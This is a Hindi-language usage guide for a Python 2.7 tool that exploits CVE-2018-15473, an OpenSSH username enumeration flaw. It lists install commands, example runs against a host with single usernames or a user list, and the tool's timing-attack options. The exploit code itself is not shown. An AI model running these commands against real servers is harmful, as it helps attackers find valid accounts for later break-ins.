
CVE-2018-15473 एक्सप्लॉइट
आपको इस एक्सप्लॉइट का उपयोग करने के लिए Python 2.7 की आवश्यकता होगी। नीचे दिए गए सभी मॉड्यूल को Python 2.7 में इंस्टॉल करें।
जैसे: python2 -m pip install numpy python2 -m pip install paramiko python2 -m pip install property
एकल उपयोगकर्ता नाम का परीक्षण करने के लिए इस कमांड का उपयोग करें: python ./sshuserenumeration.py -u
जैसे: python ./sshuserenumeration.py -u root site.com
एक फ़ाइल सूची के साथ एकाधिक उपयोगकर्ता नाम का परीक्षण करने के लिए इस कमांड का उपयोग करें: python ./sshuserenumeration.py --userlist <name_list.txt>
जैसे: python ./sshuserenumeration.py --userlist users.txt site.com
उपयोग: sshuserenumeration.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] [--samples SAMPLES] [--factor FACTOR] [--trials TRIALS] host
स्थितिगत तर्क: host SSH सर्वर का पता दें जैसे ip:port या केवल ip द्वारा
वैकल्पिक तर्क: -h, --help इस सहायता संदेश को दिखाएँ और बाहर निकलें -u USER, --user USER एक एकल उपयोगकर्ता नाम दें -U USERLIST, --userlist USERLIST उपयोगकर्ताओं की सूची वाली एक फ़ाइल दें -e, --enumerated केवल गणना किए गए उपयोगकर्ताओं को दिखाएँ -s, --silent -e के समान, लेकिन केवल उपयोगकर्ता नाम stdout पर लिखे जाएंगे (कोई बैनर नहीं, कुछ नहीं) --bytes BYTES SSH डेमॉन को पासवर्ड के रूप में इतने BYTES भेजें --samples SAMPLES गैर-मौजूद उपयोगकर्ताओं के प्रमाणीकरण के लिए समय आधार रेखा की गणना करने के लिए इतने SAMPLES एकत्र करें --factor FACTOR उपयोगकर्ता गणना के लिए ऊपरी समय सीमा की गणना करने के लिए उपयोग किया जाता है --trials TRIALS उपयोगकर्ता X को TRIALS बार प्रमाणित करने का प्रयास करें और प्रमाणीकरण समय के माध्य की तुलना समय सीमा से करें